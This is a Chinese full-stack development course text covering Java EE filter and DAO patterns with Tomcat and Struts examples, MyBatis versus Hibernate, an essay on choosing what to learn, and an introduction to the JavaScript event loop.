Java EE，全称为 Java Platform Enterprise Edition，即 Java 平台企业版，是 Java 的三大平台之一，另两大是 Java SE（标准版）和 Java ME（微型版）。企业市场对软件的需求和大众市场是完全不同的，尤其是在互联网的早些时候，对吞吐量、数据规模和服务质量等都有着更高级别的要求，而且企业花钱多，因而带来的回报也高得多。

但如今这个特点已经有了变化，但是从当时开始逐步确立下来的企业级规范和技术标准，直到现在还在广泛使用，并不断发展。它使得 Java EE 平台孕育了比其它语言和平台更多的软件架构和设计思想，而这些优秀的思想，以及通用的“套路”，在这个过程中不断被程序员总结成“模式”。

概览

Java EE 的模式涉及的面非常广泛，下图是来自经典的 Core J2EE Patterns: Best Practices and Design Strategies 一书，对我们从宏观上理解 Java EE 模式有一定的指导意义。但是请不要以为这就是一个完整的 Java EE 的模式列表，它只是列出了在当时比较常见的那一些而已。

从图中我们可以看到，这些“核心模式”大致分为呈现层（Presentation Tier，绿色部分）、业务层（Business Tier，紫色部分）和集成层（Integration Tier，红色部分）三大部分，模式之间有的通过实线箭头连接，表示着不同模式之间的单向关联关系，有的通过虚线箭头连接，表示着模式之间“使用包含”的依赖关系。

这里面的内容其实有很多在本章已经涉及到了，比如 Front Controller 和 Business Object，但是，我还想补充和细化其中的两个模式，它们在网站开发的项目中非常常用：Intercepting Filter 和 Data Access Object。

拦截过滤器

拦截过滤器（Intercepting Filter）正如图中的“Apply zero or more”和 Servlet 规范所述一样，应当具备一个链式结构。这个链式结构中的每个过滤器，互相之间应当是一个互不依赖的松耦合关系，以便于组合容易。这个过滤器链条，出现的位置通常在控制器 Front Controller 之前，在还没有进行到 Servlet 的 URL 映射前，请求需要先通过它的过滤逻辑。

Tomcat 中配置过滤器

还记得我们在 [第 10 讲] 的加餐中使用 Servlet、JSP 和 JavaBean 实现的简单 MVC 系统吗？现在，让我们来动动手，添加一个基于 URL 映射的过滤器。

首先，打开 ${CATALINA_HOME}/webapps/ROOT/WEB-INF/web.xml，在我们原本的 BookServlet 配置前，添加如下内容：

<filter>

  <filter-name>AuthFilter</filter-name>

  <filter-class>AuthFilter</filter-class>

</filter>

<filter-mapping>

  <filter-name>AuthFilter</filter-name>

  <url-pattern>/*</url-pattern>

</filter-mapping>

<filter>

  <filter-name>BookFilter</filter-name>

  <filter-class>BookFilter</filter-class>

</filter>

<filter-mapping>

  <filter-name>BookFilter</filter-name>

  <url-pattern>/books/*</url-pattern>

</filter-mapping>

你看，为了显示过滤器链的效果，我们配置了两个过滤器，第一个 AuthFilter 用来对所有的请求实施权限控制，因此 URL 使用 /* 匹配所有请求；第二个 BookFilter 我们希望它只对访问图书的请求实施权限控制。

现在建立 AuthFilter，创建 ${CATALINA_HOME}/webapps/ROOT/WEB-INF/classes/AuthFilter.java，写入：

import javax.servlet.*;

import java.util.logging.Logger;

import java.io.IOException;

public class AuthFilter implements Filter {

    private Logger logger = Logger.getLogger(AuthFilter.class.getName());

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {

        logger.info("Check permission...");

        chain.doFilter(request, response);

    }

}

这个用于鉴权的过滤器，现在只打印日志，未来我们可以加入真正的鉴权逻辑。

接着建立 BookFilter，创建 ${CATALINA_HOME}/webapps/ROOT/WEB-INF/classes/BookFilter.java，写入：

import javax.servlet.*;

import java.io.IOException;

import java.util.logging.Logger;

import java.util.concurrent.atomic.AtomicInteger;

public class BookFilter implements Filter {

    private Logger logger = Logger.getLogger(BookFilter.class.getName());

    private AtomicInteger count = new AtomicInteger();

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {

        logger.info("Add book accessing count...");

        int current = this.count.incrementAndGet();

        request.setAttribute("count", current);

        chain.doFilter(request, response);

    }

}

在这个过滤器中 ，我们先打印了日志，接着创建了一个计数器，使用 AtomicInteger 而不是 int 这个原语类型的目的是为了正确处理在多线程情况下并发计数器的情形，再把当前对 books 请求的计数放到 request 中。

编译一下：

javac AuthFilter.java BookFilter.java -classpath ${CATALINA_HOME}/lib/servlet-api.jar

我们再回到曾经建立的 ${CATALINA_HOME}/webapps/ROOT/book.jsp，在页面尾部添加一行输出计数器的计数：

Count: ${count}

现在启动 Tomcat：

catalina run

最后在浏览器中访问 http://localhost:8080/books?category=art，你将看到类似这样的输出，并且每刷新一次页面，这个计数就加 1。

Category name: art, date: 2019-8-11 Count: 1

再回到控制台，你应该能看到类似这样的日志，从中可见过滤器的调用顺序：

11-Aug-2019 11:08:50.131 INFO [http-nio-8080-exec-1] AuthFilter.doFilter Check permission...

11-Aug-2019 11:08:50.132 INFO [http-nio-8080-exec-1] BookFilter.doFilter Add book accessing count...

好，动手实践暂时就先到这里。就如同上面的例子这样，过滤器也是可以配置映射关系的，并且，在过滤器中，我们可以实现一组不同类型请求的处理所共有的逻辑。学到这里，不知道你有没有联想到一个相关的，且在这一讲之前我们才学过的模式？对，它就是 AOP，过滤器本质上就是面向切面编程这种模式的一种子模式。

Struts 的拦截器

Struts 提供了拦截器（Interceptor）这样功能更加强大的组件，对于一些常见的功能，它已经预置了数十种常见的拦截器，比如异常、参数验证、文件上传和国际化支持等等，既包括预处理（Action 执行之前），也包括后处理（Action 执行之后）的拦截逻辑，只需要配置使用即可。

举例来说，如果定义了这样一个的拦截器栈，它包含了两个拦截器，一个是异常拦截器，一个是校验拦截器，并且配置了 ping 方法不需要经过拦截器的校验，这两个拦截器组合成为 commonInterceptorStack 这个拦截器栈：

<interceptor-stack name="commonInterceptorStack">

  <interceptor-ref name="exception"/>

  <interceptor-ref name="validation">

    <param name="excludeMethods">ping</param>

  </interceptor-ref>

</interceptor-stack>

配置完毕后就可以使用了，对于一个控制器层的 bookAction，我们规定请求必须经过一个 alias 拦截器，和刚才定义的 commonInterceptorStack 拦截器栈：

<action name="bookAction" class="BookAction">

  <interceptor-ref name="alias"/>

  <interceptor-ref name="commonInterceptorStack"/>

</action>

数据访问对象

我们在 [第 08 讲] 中介绍持久层框架的时候，已经谈到了 DAO（Data Access Object），今天让我们进一步学习一下。

DAO 本质上是能够为某种特定数据持久化的机制提供抽象结构的对象。虽然我们谈论 DAO 基本上是默认这里的数据持久化的介质就是数据库，但需要明确的是，实际上并没有这样的约束。换句话说，DAO 可以把数据持久化到数据库中，但也可以持久化到文件里，甚至会以网络请求的方式把数据持久化到某个远程服务中去。

数据访问对象最大的好处依然是我们反复强调的“解耦”，业务代码不需要关心数据是怎样持久化的。在测试其上方的 Service 层的时候，只要把实际的 DAO 替换成“桩代码”，就可以不实际执行持久化逻辑而完成测试；如果哪一天希望更换 DAO 的实现，例如把关系数据库存储改为更一般的键值存储，其上方的 Service 层不修改逻辑就可以实现。

但事物都有两面性，DAO 也不是完美的，比如说，多加一层就会从额外的抽象层次上带来软件的复杂性，它经常和“抽象泄露（Leaky Abstraction）”这样的现象联系起来。

这里是说，理想状况下，程序员只需要关心“某一抽象层之上”的逻辑和调用，这也是我们分层的一大好处。可是，现实总是和理想有距离的，一旦抽象之下的部分出错，程序员很可能必须去了解和深入这部分的内容，这就违背了抽象分层的初衷，但是在很多情况下这是不可避免的，这也是整个软件体系日渐复杂，我们需要学习的内容越来越多的原因之一。

总结思考

今天我们了解了 Java EE 的各种模式，并且重点学习了拦截过滤器这个模式。模式的学习有一个特点，在理论学习的基础上，我们需要反复地实践强化，以及反复地思考。可以说，实践和思考这二者缺一不可。如果只有实践而没有思考，就没有办法灵活地将理论应用在复杂的实际项目中；如果只有思考而没有实践，那么到实际动手的时候还是很难顺利地实施想法。

对于今天的内容，留两个问题：

我们介绍了 DAO 层的两面性，那么，在你经历的项目中，你是怎样访问数据存储设施（例如文件和数据库）的，能说说吗？

今天我们学到了，通过使用基于 URL 映射的过滤器，是可以给业务代码增加 AOP 的切面逻辑的。那么，为什么我们还需要之前所介绍的，通过匹配代码类和方法的表达式来嵌入切面逻辑的方式呢？

有道是，技术进程多风雨，唯有套路得人心。回看本章，从 MVC 开始，我们一直都在和“模式”打交道，不知道你是不是认真学习了，是不是收获一些代码设计上的“套路”了呢？

选修课堂：MyBatis vs Hibernate

在 DAO 的设计过程中，我们经常需要处理模型实体对象和关系数据库的表记录之间的双向转换问题，怎样将对象的属性和关联关系映射到数据库表上去？有许多持久化框架都给出了自己的解决办法，今天我就来介绍两种最经典的解决思路，MyBatis 和 Hibernate。

MyBatis 的思路是使用 XML 或注解的方式来配置 ORM，把 SQL 用标签管理起来，但不关心，也不干涉实际 SQL 的书写。

在这种思路下框架轻量，很容易集成，又因为我们可以使用 SQL 所有的特性，可以写存储过程，也可以写 SQL 方言（Dialect），所以灵活度相当高。当然，灵活也意味着在具体实现功能的时候，你需要做得更多，不但需要关心模型层、SQL，还需要关心这二者怎样映射起来，具体包括：

请求参数映射，即模型的值怎样映射到 SQL 语句的变参里面；

返回值映射，即怎样将数据库查询的返回记录映射到模型对象。

我们来看一个最简单的 XML 配置片段：

<mapper namespace="xxx.BookDAO">

    <insert id="add" parameterType="Book">

        insert into BOOKS(NAME, DESC) values(#{name}, #{desc})

    </insert>

    <select id="get" resultType="Book" parameterType="java.lang.String">

        select * from BOOKS where ID=#{id}

    </select>

</mapper>

你看，SQL 原模原样地写在了配置文件里面。对于写入语句，比如这里的 insert，需要显式告知参数类型 Book 对象，接着就可以直接使用 Book 的 name 和 desc 对应的 get 方法来获得具体值并注入 SQL 了。对于简单的对象，默认的映射规则就可以解决问题，反之，也可以在 XML 中定义映射规则。

Hibernate 则是另一种思路，如果你已经习惯于和模型层打交道，那么它就将 SQL 层对你隐藏起来了。换言之，你只需要写模型代码和 HQL（Hibernate Query Language）这种面向对象的查询语言就可以了，至于 SQL 的生成，框架可以帮你完成。

这种方式的一大好处就是具体数据库的透明性，你今天使用的数据库是 MySQL，明天就可以换成 Oracle，并且不用改代码。在分析设计的时候，你只需要做自己习惯的模型驱动编程就可以了。

但值得注意的是，Hibernate 是把双刃剑，有利也有弊。它也带来了很多问题，比如较高的学习曲线，在出现问题的时候，无论是功能问题还是性能问题，它需要更多的知识储备来进行问题的定位和性能的调试。

MyBatis 和 Hibernate 到这就讲解清楚了，再总结延伸一下。

从框架本身的角度来说，Hibernate 提供的特性远比 MyBatis 更丰富、更完整。如果你是一位有着一定 ORM 经验的程序员，那么 Hibernate 很可能会使你的开发效率更高。

可对于一个新项目而言，在技术选型的过程中，如果你的团队中没有非常多的经验丰富的程序员，我通常建议持久层的框架不要去考虑 Hibernate。简单说来，就是因为它的“水比较深”。我相信大多数程序员朋友还是更习惯于实打实地接触 SQL，流程到哪一步，执行了什么语句，该怎么调整，都十分清晰和直接。

扩展阅读

文中提到了 Java EE 平台的一系列标准和技术，维基百科上有一个简单的列表供参考。

Core J2EE Patterns: Best Practices and Design Strategies 这本书对于你学习 Java EE 的模式会提供不错的指导性帮助，属于权威之一，但是内容比较抽象，如果你在设计方面有一定追求，它是很好的阅读材料。好几年前我曾经读过纸质的第一版，但这是第二版，已经可以在网上公开阅读。

如果对于文中提到的 Struts 拦截器感兴趣，请看 Struts 官方文档中对于拦截器的介绍。

文中提到了抽象泄露的概念，如果你感兴趣的话，请阅读 The Law of Leaky Abstractions，作者 Joel Spolsky 就是那本著名的《软件随想录》的作者。

MyBatis 的官网，是的，MyBatis 的教程我就推荐官网上的，清晰简洁，而且具备中文版，不需要去找什么第三方的资料了；如果是需要中文的 Hibernate 入门资料，我推荐 W3Cschool 上的 Hibernate 教程。

13 | 特别放送：选择比努力更重要

你好，我是四火。

又到了一章的末尾，特别放送时间。专栏上线后的这几周，我在留言区回答了一些问题，有一些是技术上的问题，也有一些是非技术上的问题。尽管在 [开篇词] 和 [学习路径] 中我已经介绍了全栈工程师的角色、重要性和学习方法，但是依然见到不少困惑和疑问，其中一个问题反复出现，那就是面对那么多的软件技术，总有一种“学不过来”的感觉，为此感到焦虑和担忧。尤其是对于全栈工程师而言，这个话题更是被放大了。

颇为遗憾的是，这几年来，我见到了一些相当有经验的做着 Web 全栈开发的程序员，他们还依然走在一条埋头苦干，不断堆积知识，单纯靠量取胜的路上。可是，我认为，学习是需要选择的，并且，选择比努力更重要。

今天的特别放送，我就来聊一聊，我是怎么认识这个问题的，希望能给你带来一点参考意义。

两个小故事

第一个故事，微软的测试团队改革。陆奇是一个程序员从技术做起，进而翻身的典范。最初他入职雅虎的时候只是一个普通的工程师，十多年后 ，他以执行副总裁的身份，不但牵头打造了 Bing 搜索，还完成了几项意义深远的改革，其中一项，就是合并开发和测试这两个原本独立的部门，大幅裁剪专职测试人员，让工程师做更多的事。

这样一来，有一些擅长使用内部测试工具进行测试的工程师，就慢慢丢掉工作了，原因很简单，他们更多的只是熟练工，而缺乏技术上的竞争力。听起来，这似乎是微软内部组织架构变动和工具、技术栈封闭的锅。

其实，合并开发和测试团队，对于许多软件公司，特别是互联网公司来说，是一个基本不需要讨论的事情。除了一些面向互联网用户的、交互较为复杂的团队，还配有专职测试（即便是这样的测试，为了节省成本，也常常外包给合同工去做了），绝大多数团队，都已经变成了软件工程师一肩挑的局面了，而测试只是被合并的一部分专职角色，其实还有线上运维等等。对于大型互联网企业来说，一个事实就是，工程师的全面性越来越强，这是一个不可辩驳的趋势。

第二个故事，是我在几个月前，参与面试一位有着超过 15 年 Web 开发经验的工程师，这件事就发生在五轮面试之后的讨论会上（这里涉及到的面试流程我曾在 [第 06 讲] 中介绍过）。

对于这样一个比较资深的工程师岗，五个面试官，在讨论会上产生了巨大的分歧。招聘经理，也就是负责吃饭聊天那一轮面试的人，反馈非常正面，说此人经验丰富，谈吐得当，leadship 层面也没有问题；Bartender（技术负责人）重点考察了项目经验和系统设计，反馈也颇为不错，经验丰富，而且能够从很多角度去分析和思考问题；可其余的三轮面试，面试官反映却大相径庭，主要问题出在白板代码部分，总的来说，代码生疏，书写也缺乏条理，其中有一轮都没有写完代码，写完的两轮也是 bug 满地，问题频出。最后，在争论之后达成一致，可以通过，但是只能勉强给一个比预期职位级别低一级的 offer。

作为一个技术岗位的工程师，编码能力是一个硬指标，因此这也是照章办事，不得已而为之的。只不过，我们私下里讨论，应聘者很可能是有足够的编码技巧的，只不过有一段时间没有写代码了，确实有些可惜。但是，猜想也只是猜想而已。

其实，故事有很多，但是这两个故事是我精心挑选的。二者分别对应的启发是，工程师在技术学习的时候，需要遵循的两个主要思路。

第一，技术是分级的，具体说，是分短命和长寿的，也是分表面和本质的。我们要学习各种技术，但是我们要把足够的精力放到长寿的技术以及技术本质上。这就是第一个故事带来的启发。

第二，基础知识和能力的训练需要长期坚持，无论是在工作中，还是工作以外。这就是第二个故事带来的启发。

技术的分级

下面我展开来讲第一个思路，技术分级。

我们都听过“技术无贵贱”的说法，但这并不代表我们要“无区别”地学习技术。工程师，说白了最重要的就是“工程能力”，就是应用工程化的思想和技术，去解决实际的问题。我把工程能力粗略地分成这样四个级别，请注意，它们都必不可少，这个分级也不严密，但是我们能从中看到一个大致的趋势：

比如说，稳定性上，从左到右逐渐降低，越靠右往往寿命越短。

比如说，学习难度上，不一定，但是总体来说从左到右逐渐降低。

比如说，针对性上，往往从左到右逐渐增加，即越往右就越是针对具体的问题。

下面我来具体说说图中的这几种能力。

软能力，比如我们对程序员要求最多的沟通能力、学习能力和抽象能力。哪怕再过几十年，这部分基本也是不会变的。

模式和思想，比如分而治之的思想，模块化的思维，客户端 / 服务端模式。这部分也相当稳定，可能随着技术的革新，也会有一些以往不受重视的模式或思想被列为重点，举例来说，十年前，我们可能很少谈论分布式的思想。

语言和平台，比如 Java 语言，JVM 平台。这部分其实变化就非常大了，有的语言已经几十年了，有的则是几年热度之后就消退了。普遍来说，语言平台要比语言本身稳定一些。

框架和库，这部分差异也非常大，但是总体来说，基本就是最短命的。如果要花费大量的时间和心血去深究某一个框架和库，那么你会希望它要么相当有代表性和典型意义，要么有足够长远的未来。

对于这几种能力，还有几点我要强调说明一下。

首先，请不要误解我的意思。每一级的能力都是有各自价值的，我们在解决实际问题的时候，需要使用到每一级的技术。举例来说，要设计实现一个网站，全栈工程师需要发挥沟通能力、合作能力，需要利用在模式和思想方面的经验和认识，选择合适的语言和平台，最后再选择相应的框架和库来完成它。

其次，我们当然希望图中靠左侧的“长寿”的能力得到进步，但每一级能力的培养，都需要通过对具体技术、业务的学习积累来实现，也就是说，这些分级之间是不冲突的，反而是互相促进的。通过这两章的学习，特别是从具体技术到通用模式这样的方式，也许你已经体会到了这一点。

那么现在，有了上面的说明，你是否已经清楚，该做出怎样的侧重了呢？

显然，我们应该明确的一点是，把几乎全部的精力都投入到这个分级的右端，换言之，把大量的时间都花在记忆一个接一个的框架和库上面，妄图靠数量取胜，不可取。有时更可悲的是，就连生硬的记忆本身也不讨好——都不用等到技术淘汰了，它们还都是公司内部的框架和库，离开公司就一文不值了。

因为，这只是单纯地记忆，没有比较、分析、思考这些能让这个分级均衡发展的行为。而这，我认为正是系统的技术学习中最大的误区。

我举一个真实的例子来说明这个现象，有位程序员朋友学习前端技术，最开始使用 Backbone.js，后来陆续用过 AngularJS 以及 React，现在准备转向 Vue.js。看起来似乎很勤奋，但是他自己却说他依然只是停留在上头说用什么，自己就跟着学什么的程度，自己也没有什么想法，总之越学越麻木……他自己还说“不知道何时是个头”。

接着，我想展开讲一下其它几个具体技术学习中的典型误区，而这些误区，在我看来也都和是否努力无关，本质上也都属于不恰当的“选择”。

1. 过于关注配置使用，忽略原理和场景分析。

这一点我觉得是最容易在迈入职场没多久的程序员身上见到的问题，非常普遍。老板一个命令下来，心里慌得很，就想着怎么把问题搞定，而有一些问题是知识迷局一类的，比如，怎样配置整合 SSH（Struts、Spring 和 Hibernate）。

这类问题光靠想是没法得出结论的，于是通过各种搜索、查文档、试错等等方式，花了很长时间，好不容易搞定了问题，完成了需求，又紧锣密鼓地去接下一个任务去了。可是呢，对于刚才使用到的技术，付出了那么多，却只收获了这一个小小的迷局的解。这投入产出比低不说，人还是很健忘的，这些具体的配置和使用，只要不用，很快就会忘掉的，下次在遇到类似的问题，可能已经忘记了这些配置，于是又要重复这一行为。

2. 过于关注编程语言的语法和语言技巧，忽略语言思考和书写时的思维模式。

比如说，JavaScript 语言，里面有很多坑，但是有一些坑是语言本身的不良设计造成的，知道当然好，但也不要因此沾沾自喜。但是对于一个写惯了 C++、Java 等后端静态语言的程序员来说，JavaScript 异步编程、函数成为一等公民等等这些颠覆以往编程思维模式的特性，才是学习这门新语言一个收获颇丰的地方（我们会在下一章介绍）。换言之，我们要写 JavaScript，就要写真正的 JavaScript——而不是写 Java，再按字面翻译成 JavaScript。

3. 过于关注具体实现逻辑，忽略了对于设计的思考和权衡。

我看到很多程序员朋友都热衷于研究源码，看完一个库，再看下一个，有些人甚至以读过源码的数量为荣，张口闭口就是“你读过多少源码”。

阅读源码当然是一件好事，但是请不要认为研究源码的目的只是“知道怎么实现”。毕竟，每个人的时间精力都是有限的，读源码尤其耗时。既然要读，就要读得有所收获，而不是凭空指望“读书百遍，其义自见”。比如说，阅读的时候，要抓住主干，去思考里面的设计思路，也就是所谓的“代码骨干”，忽略那些次要的边边角角。

4. 直接学习模式和思想，脱离了具体实践。

我已经介绍了模式和思想学习的好处，但是对于那些抽象的理论和概念，在没有实践的基础上，是很难真正“消化吸收”的。最好的方法是动手做一做，如果时间有限，至少也要阅读和了解它们都被哪些具体技术采用怎样的方式实现了。

基础知识和能力

下面我来说说第二个思路，基础知识和能力。

即便在同一级的技术上，我们的学习也应该是有轻重缓急的。我们的项目中需要的技术，当然要学，但是我们心里需要清楚那些所谓的“基础”。生活不可能完美，工作也是，工作中学当然很好，但很遗憾的是，有很多“基础”光靠工作中学是很难有较大进步的。比方说，算法和数据结构。

我认为，数据结构、算法、网络等等这些，都是基础知识，如果工作中的强化不够，工作以外的学习和训练还是需要的。如果你的基础不够扎实，特别是“非科班”出身的话，它就更加重要了。比较好的一点是，这些相对于“设计能力”“问题解决能力”等等来说，还是要好学很多。

除了基础知识，还有基础能力。最重要的，就是编程能力。值得庆幸的是，我相信大部分程序员都会在工作中有足够的编程时间，因此，只要专注、带着思考去写代码，认真对待代码评审，编程能力是会随着经验的增加而逐渐提升的。

最后，你正在学习的这个专栏，涉及了大量的全栈技术相关的知识，但是从内容设计上你应该可以看出，我希望能更多地介绍其中的“套路”，也就是上图中的模式和思想，有些是同类技术所共同有的（比如前几讲介绍过的 IoC），有些则是跨技术类型，但却依然共有的（比如幂等性和安全性）。

总结思考

今天的特别放送，我结合了自己的积累，介绍了我们该怎样做出选择，来应对这个“学不过来”的话题，特别是介绍了一些常见的学习误区，希望你能从我的答案中有所收获。

今天就不放特定的思考题了，因为我觉得，这一类主观性特别强的话题，很容易有不同的认识，不需要拿问题来引导思考方向了，不加限定地思考会更好。欢迎你在下面的留言区谈谈自己的看法，我们一起讨论。

扩展阅读

有一篇文章，Stop Learning Frameworks，观点比较朴实，也比较偏激，在程序员群体内掀起了轩然大波，有朋友翻译了，译文在这里。

关于传统关系数据库技术淘汰的事情，以前我写过一点小体会，可供参考。

14 | 别有洞天：从后端到前端

你好，我是四火。

前两章我们分别介绍了网络协议和 Web 接口的知识，以及网站等应用的 MVC 架构和其衍生发展而来的各种设计模式。以上希望你已经充分消化吸收了，今天我们将迈入第三大基于 Web 的全栈技能领域——前端。

为什么要学习前端技术？

“前端”简简单单两个字，背后却有着纷繁的故事和复杂的情感。这也促使我产生了想多聊一聊这个话题的想法，一般的技术在“为什么要学”的方面我往往简言述之，但对于前端技术我想为此破例。

前端一直以来是一个颇具争议的领域，有人极其喜爱，有人避而远之，和多数“天下太平”的技术相比，这确实有些令人费解，但我认为这其中的原因至少包括这样两点。

第一，某些技术人员或管理者单项技术进步，但思想却依然陈旧迂腐，停留在“前端就是改改页面”这样老旧的思维程度，认为前端没有技术含量且无法创造显著价值。

第二，相对于软件领域的通用技术，前端极低的入门门槛，导致号称“懂前端”的工程师技术水准严重参差不齐，这反向影响了整个技术群体的形象。

如果你志在学习全栈工程，前端就自然是你无法避开，且还需努力驾驭的领域。但即便你的长期目标不在此，也应该学习前端技术，因为它能给你带来的好处是多方面，且是别的技术所不可替代的。具体包括这样几个方面。

首先，它可以帮助你开阔眼界，为你的思维模式带来新的选项，整个全栈技术都有这样的特点，但是前端技术在这方面尤其明显。前端技术的结构和软件其它领域有着显著的不同，技术发展极其迅速，技术之水深不见底，开源社区百花齐放。我们也将在本章中体会到前端领域所需要的不同的思维模式。

其次，它可以帮助你形成快速原型、即时验证和独立展示演示的优势，在迅捷的反馈中设计和编程。在我参与过的 Hackthon（黑客马拉松）数天的短期竞赛中，产品经理、程序员和数据科学家被认为是最合理的一组搭配，懂前端技术的程序员总是对互联网的用户交互、数据采集等方面特别有经验，在展示环节还可以快速地做出非常优秀的效果来。

再次，它可以帮助你建立产品思维。有人认为它能用来解决用户的核心问题，但实际上往往不是，解决核心问题主要还是靠后端的代码，但是前端的代码却是和用户最贴近和交互的部分，一个优秀的前端工程师总是具备非常强烈的产品属性。

我记得以前在一个团队中负责一个 portal，有别的团队的同事私下里抱怨，说我们做的东西被 portal 一展示，用户都说好用 ，结果都默认是做 portal 的团队做的了。其实这是一个很现实的问题，无论产品的功和过，即便它的组件分层再深，用户的眼光往往只到很浅的层次就断了。有句话叫，“没有声音，再好的戏也出不来”，如果说，产品的功能性能是它的硬实力，是这出戏的画面，那么前端带来的用户体验在很多情况下就是这出戏的声音。

最后，前端技术是全栈工程的必备技能。它可以让你拍着胸脯对用户说，“这个可以做”，“这个不能做”，而不是说，“我去和前端确认一下这个交互能不能实现”。产品做出来，也不至于成为一个号称装着高性能引擎，却裹着破布毯子的“豪车”。

遗憾的是，现实中有不少迈入职场没有几年，却已经给自己打上“前端工程师”“后端工程师”等标签的程序员朋友。我觉得他们可能是受到了某些万恶的职业生涯规划鸡汤的影响，这些标签会让他们在面对新技术和新机遇的时候，觉得身处“不属于自己的领域”而选择封闭自己。

因此我的建议是：职业生涯不宜过早做过细的规划，除了技术深度，也需要在技术广度上积累，等到一定程度以后再来选择自己的发展分支路线。而且，某些特定技术领域，在程序员给自己打标签的时候，压根还没有发展成熟，等到发展起来，时机真正到来的时候，只有那些原本“不偏食”的优秀的程序员才能够脱颖而出。

思维模式的转变

如果你具备后端开发的经验，刚刚开始从后端转向前端，你可能会发现，有很多想当然的理解，不再适用，有很多想当然的解决方法，也不再有效。

1. 应用事件驱动编程

来看这样一段 JavaScript 代码：

console.log("1");

setTimeout(function timeout() {

    console.log("2");

}, 0);

setTimeout(function timeout() {

    console.log("3");

}, 5000);

console.log("4");

代码中有四处打印，setTimeout 接受两个参数，第一个参数表示调用逻辑，第二个参数表示等待多少毫秒后再来执行该调用逻辑。

你觉得打印结果应该是什么？

是 1 -> 2 -> 4 -> 3 吗？先别急着回答，我们好久没动手了，让我们来动动手看看结果吧。

在 Chrome 中，任意一个页面打开浏览器的开发者工具，在 Console 标签下，把上面的代码复制粘贴进去，于是我们看到这样的输出：

1

4

undefined

2

3

这是为什么，上面的 undefined 又是什么？

为了回答上面的问题，我们需要了解 JavaScript 执行机制中的 Event Loop（事件循环）来理解上面的代码。

在写后端代码的时候，你可能已经习惯了使用进程（process）或者线程（thread）来对付需要并行处理的逻辑，Java 如此，Python 也如此。进程或线程可以说是“真并行”，虽然微观地看，它们可能会顺序占用 CPU 时间片，但宏观地看，代码在二者中执行互不阻塞，是并行执行的。

而在 JavaScript 中，在浏览器中，你看到眼花缭乱的效果和变化，却是“假并行”，是一个彻头彻尾的“骗局”。为什么这么说？

因为浏览器中 JavaScript 代码的执行通常是单线程的（对于 Web Worker 这样的“例外”我们暂不讨论）——一个线程，一个调用栈，一次只做一件事。

具体说来，在整个 JavaScript 的世界里，引起代码运行的行为是通过事件驱动的，并且全部是通过这唯一的一个勤奋的工作线程来执行的。那么当有事件产生的时候，这个工作线程不一定空闲，这就需要一个机制来让新产生的事件排队“等一等”，等当前的工作完成之后，再来处理它。这个机制就是 Event Loop，这个等一等的事件，就被放在一个被称为事件（回调）队列的数据结构中。

于是上面的代码，实际在运行的时候，从事件队列的角度看，是这样的：

工作线程不断地从整个事件队列的右侧取得新的事件来处理执行，而新的事件只会从左侧放入：

主代码最先被执行，从上往下顺序执行，因此顺序是：

先打印 1；

在遇到第一个 setTimeout 的时候，告知浏览器，请在 0 秒之后往事件队列内放入执行打印 2 的事件；

在遇到第二个 setTimeout 的时候，告知浏览器，请在 5 秒之后往事件队列内放入执行打印 3 的事件；

再打印 4；

主代码执行完毕，Chrome 的控制台打印这段代码的返回值，但因为它没有返回值，于是就打印 undefined。

浏览器老老实实地按照要求放入了打印 2 的事件，虽然是第 0 秒就放入，但是因为放入的时候主代码还在执行，因此只能等待，它等到主代码执行完毕后才得到执行，打印了 2。

5 秒钟后，浏览器按照要求往队列里放入了打印 3 的事件，于是 3 被打印出来。

你看，通过这种方式，JavaScript 可以让不同的任务在一个线程中完成，而整个任务编排的机制，从代码的角度看，所有的逻辑都是通过七七八八的“异步回调”来完成的；而从程序员思维方式的角度看，以往基于线程的编程，变成了事件驱动的编程。

上图来自 The Case of Threads vs. Events，很好地对比了两者的不同之处，其中：

对于逻辑的触发，基于线程编程需要不断地由监视线程去查询被监视线程的某一个状态，如果状态满足某个条件，则触发相应的逻辑；而事件驱动则通过事件处理器，在事件发生时执行挂载的回调逻辑。不知你是否联想起了 [第 03 讲] 中我介绍的 push 和 pull，在这里，前者正类似于 pull 的形式，而后者则类似于 push 的形式。

基于线程的方式可以阻塞线程，等待时间或某个条件满足后再继续执行；而事件驱动则相反，发送一条消息后无阻塞等待回调的发生。阻塞线程的方式对资源的消耗往往更加显著，因为无论是否执行线程都被占用，但从人直观理解的角度来说，代码更直白，更符合人对顺序执行的理解；而事件驱动的方式则相反，资源消耗上更优，但是代码的执行顺序，以及由此产生的系统状态判断变得难以预知。

请注意的是，在 JavaScript 中我们通常无法使用基于线程的编程，但是在很多情况下，例如 Java 和 Python 这些传统的后端编程语言中，我们可以混合使用基于线程和事件驱动的编程，它们是互不矛盾的。

最后，为什么 JavaScript 要被设计成单线程的，多线程难道就不行吗？最重要的原因，就是为了让整个模型简单。如果引入多线程，这里有很多问题需要解决，例如事件处理的依赖关系（多线程的事件处理就不再是简单队列的挨个处理了），例如资源的共享和修改（无锁编程不再有效，必须要考虑同步等加锁机制了），整个系统会变得极其复杂，不只是对于浏览器的开发者而言，对前端的开发者也一样。

另外，需要说明的是，浏览器的 JavaScript 执行是单线程的，但不代表浏览器是单线程的。浏览器通常还包含其它线程，比如说：

界面（GUI）渲染线程，这个线程的执行和上述的 JavaScript 工作线程是互斥的，即二者不可同时执行；

事件触发线程，这个也很好理解，我们介绍过有一个神秘人物帮着往队列中放入事件（例子中的回调打印 2 和回调打印 3），这个神秘人物就是事件触发线程。

2. 学写声明式代码

习惯于设计和书写大量的声明式代码，也是一个很重要的思维转变。

我们在 [第 07 讲] 中讲过什么是声明式代码，为什么我们在写视图层的时候会大量使用声明式代码。HTML、CSS 和 JavaScript，前端的三驾马车，两架是用声明式代码写的，我们应当记得自己做的是前端开发，而不是一个单纯的 JavaScript 写手。

声明式代码和命令式代码一样，都需要设计，且都需要测试。我见过不少工程师能够写出优秀的命令式代码，甚至已经习惯了，但是在写声明式代码的时候，却缺乏条理。

举例来说，设计页面的时候，要先设计布局，抓住整棵 DOM 树中核心的部分，自上而下地去划分区域，哪些是静态的区域，哪些是动态生成的，并合理设计可重用组件。再比如说，使用声明式代码处理模板中呈现数据的格式转换，使得呈现部分的代码更纯粹、自然，具体请参看 [第 16 讲] 中的过滤器。

3. 培养交互思维

前端工程师必须具备敏感的交互思维。通常来说，前端的代码，兼具着“甲方”和“乙方”的角色：

对用户和前端的交互来说，客户是甲方，享受服务；前端就是乙方，提供服务。

对和服务端的交互来说，前端就是甲方，从服务端获得数据和服务；服务端就是乙方，提供数据和服务。

